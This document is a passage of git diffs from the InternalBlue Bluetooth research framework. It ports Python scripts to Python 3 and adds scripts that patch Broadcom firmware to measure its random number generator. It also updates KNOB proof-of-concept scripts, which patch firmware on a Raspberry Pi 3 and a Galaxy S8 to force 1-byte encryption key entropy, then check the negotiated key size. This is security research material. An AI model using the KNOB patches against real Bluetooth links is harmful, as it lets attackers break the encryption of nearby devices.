|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("raspi3_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
@@ -1,12 +1,11 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
internalblue = HCICore()
|
||||
device_list = internalblue.device_list()
|
||||
@@ -16,7 +15,7 @@ if len(device_list) == 0:
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
RX_DONE_HOOK_ADDRESS = 0x56622 # _connTaskRxDone
|
||||
RX_DONE_HOOK_ADDRESS = Address(0x56622) # _connTaskRxDone
|
||||
HOOKS_LOCATION = 0x210500
|
||||
ASM_HOOKS = """
|
||||
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
|
||||
"""
|
||||
@@ -32,17 +30,66 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy
|
||||
internalblue.patchRom(0x3B3D4, patch)
|
||||
internalblue.patchRom(Address(0x3B3D4), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x204A5F, '\x01') # global key entropy
|
||||
internalblue.writeMem(0x204A5F, b'\x01') # global key entropy
|
||||
|
||||
|
||||
internalblue.shutdown()
|
||||
exit(-1)
|
||||
log.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n")
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
Executable
+227
@@ -0,0 +1,227 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the Raspberry Pi 3.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* Disable Wi-Fi as the RNG might be shared.
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x21f000 # load our snippet here, yes we have space :)
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes)
|
||||
FUN_RNG = 0x6672A # original RNG function that we overwrite with bx lr
|
||||
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
//bl notify_hci
|
||||
mov r0, 0
|
||||
mov r1, 0
|
||||
mov r2, 0
|
||||
mov r3, 0
|
||||
bl 0x1a14 //ok whatever this one produces 2e0000000000000000000000000000000000000000
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_rng:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
wait_ready:
|
||||
ldr r2,=0x314008
|
||||
ldr r2, [r2]
|
||||
ldr r3, =0x200fffff
|
||||
cmp r2, r3
|
||||
bne wait_ready
|
||||
|
||||
// request new entropy: 0x314004=1
|
||||
mov r3, 1
|
||||
ldr r2, =0x314004
|
||||
str r3, [r2]
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x31400c
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_rng
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 10 // event length
|
||||
mov r0, 12 // event length (+2)
|
||||
mov r1, 0xff // type: vendor specific
|
||||
bl 0x2770 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 2 // buffer starts at 2 with data (?)
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
|
||||
pop {r0-r4, lr}
|
||||
b 0x268E // send_hci_event_without_free()
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
#adb.process(["su", "-c", "svc wifi disable"])
|
||||
os.system("sudo rfkill block wifi")
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("rpi3p-randomdata-%irounds.bin" % rounds, "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
internalblue._teardownSockets()
|
||||
Executable
+222
@@ -0,0 +1,222 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the Raspberry Pi 3.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* Disable Wi-Fi as the RNG might be shared.
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x21f000 # load our snippet here, yes we have space :)
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes)
|
||||
FUN_RNG = 0x6672A # original RNG function that we overwrite with bx lr
|
||||
PRAND = 0x318088 # the pseudo random register we want to benchmark
|
||||
# 0x318088 dc_nbtc_clk_adr
|
||||
# 0x32A004 timer1value_adr
|
||||
# 0x3186A0 dc_fhout_adr
|
||||
# 0x31FC34 agcStatus_adr
|
||||
# 0x31FFA0 rxInitAngle_adr
|
||||
# 0x31F8A4 spurFreqErr1_adr
|
||||
# 0x31FD48 rxPskPhErr5_adr
|
||||
# 0x200480 *mm_top TODO needs special memcpy but is only used once for init
|
||||
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
//bl notify_hci
|
||||
mov r0, 0
|
||||
mov r1, 0
|
||||
mov r2, 0
|
||||
mov r3, 0
|
||||
bl 0x1a14 //ok whatever this one produces 2e0000000000000000000000000000000000000000
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_pseudo:
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x%x
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_pseudo
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 10 // event length
|
||||
mov r0, 12 // event length (+2)
|
||||
mov r1, 0xff // type: vendor specific
|
||||
bl 0x2770 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 2 // buffer starts at 2 with data (?)
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
|
||||
pop {r0-r4, lr}
|
||||
b 0x268E // send_hci_event_without_free()
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
#adb.process(["su", "-c", "svc wifi disable"])
|
||||
os.system("sudo rfkill block wifi")
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("raspi3p_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
@@ -1,15 +1,14 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
|
||||
|
||||
from builtins import range
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
|
||||
internalblue = ADBCore(serial=True)
|
||||
device_list = internalblue.device_list()
|
||||
if len(device_list) == 0:
|
||||
@@ -131,9 +130,9 @@ def lereceiveStatusCallback(record):
|
||||
# packet_curr_nesn_sn = u8(data[0xa4])
|
||||
|
||||
packet_channel_map = data[0x54:0x7b]
|
||||
packet_channel = u8(data[0x83])
|
||||
packet_channel = data[0x83]
|
||||
packet_event_ctr = u16(data[0x8e:0x90])
|
||||
packet_rssi = u8(data[0])
|
||||
packet_rssi = data[0]
|
||||
|
||||
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
|
||||
log.info(" ^----------------------------- ERROR --------------------------------")
|
||||
@@ -156,11 +155,11 @@ def lereceiveStatusCallback(record):
|
||||
elif packet_rssi < 0xc0:
|
||||
color = '\033[91m' # red
|
||||
|
||||
channels_total = u8(packet_channel_map[37])
|
||||
channels_total = packet_channel_map[37]
|
||||
channel_map = 0x0000000000
|
||||
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
|
||||
for channel in range(0, channels_total):
|
||||
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
|
||||
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
|
||||
|
||||
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
|
||||
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
|
||||
|
||||
+59
-11
@@ -1,11 +1,9 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
|
||||
"""
|
||||
@@ -32,16 +30,66 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy
|
||||
internalblue.patchRom(0x530F6, patch)
|
||||
internalblue.patchRom(Address(0x530F6), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x255E8F, '\x01') # global key entropy
|
||||
internalblue.writeMem(0x255E8F, b'\x01') # global key entropy
|
||||
|
||||
|
||||
internalblue.shutdown()
|
||||
exit(-1)
|
||||
log.info("-----------------------\n"
|
||||
|
||||
log.info("-----------------------KNOB-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Currently, there is no LMP monitoring option on Android 8.\n")
|
||||
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
|
||||
"On Android, this requires a modified bluetooth.default.so.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+225
@@ -0,0 +1,225 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 6.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* Disable Wi-Fi as the RNG might be shared.
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x215000 # load our snippet here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
|
||||
FUN_RNG = 0x9C460 # original RNG function that we overwrite with bx lr
|
||||
PRAND = 0x41079C # the pseudo random register we want to benchmark
|
||||
# !!! other mapping, follows CYW20719
|
||||
# 0x318088 dc_nbtc_clk_adr
|
||||
# 0x32A004 timer1value_adr
|
||||
# 0x3186A0 dc_fhout_adr
|
||||
# 0x410434 agcStatus_adr # 1 byte but at least changes
|
||||
# 0x41079C rxInitAngle_adr # this changes a bit
|
||||
# 0x4100AC spurFreqErr1_adr
|
||||
# 0x410548 rxPskPhErr5_adr_0
|
||||
# 0x20066C *mm_top TODO needs special memcpy but is only used once for init
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_pseudo:
|
||||
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x%x
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_pseudo
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 243
|
||||
mov r1, 0xff
|
||||
mov r0, 245
|
||||
bl 0xE628 // malloc_hci_event_buffer
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 10 // buffer starts at 10 with data
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0xE418 // bthci_event_AttemptToEnqueueEventToTransport
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = ADBCore(log_level='info', serial=True)
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.info("Random data done!")
|
||||
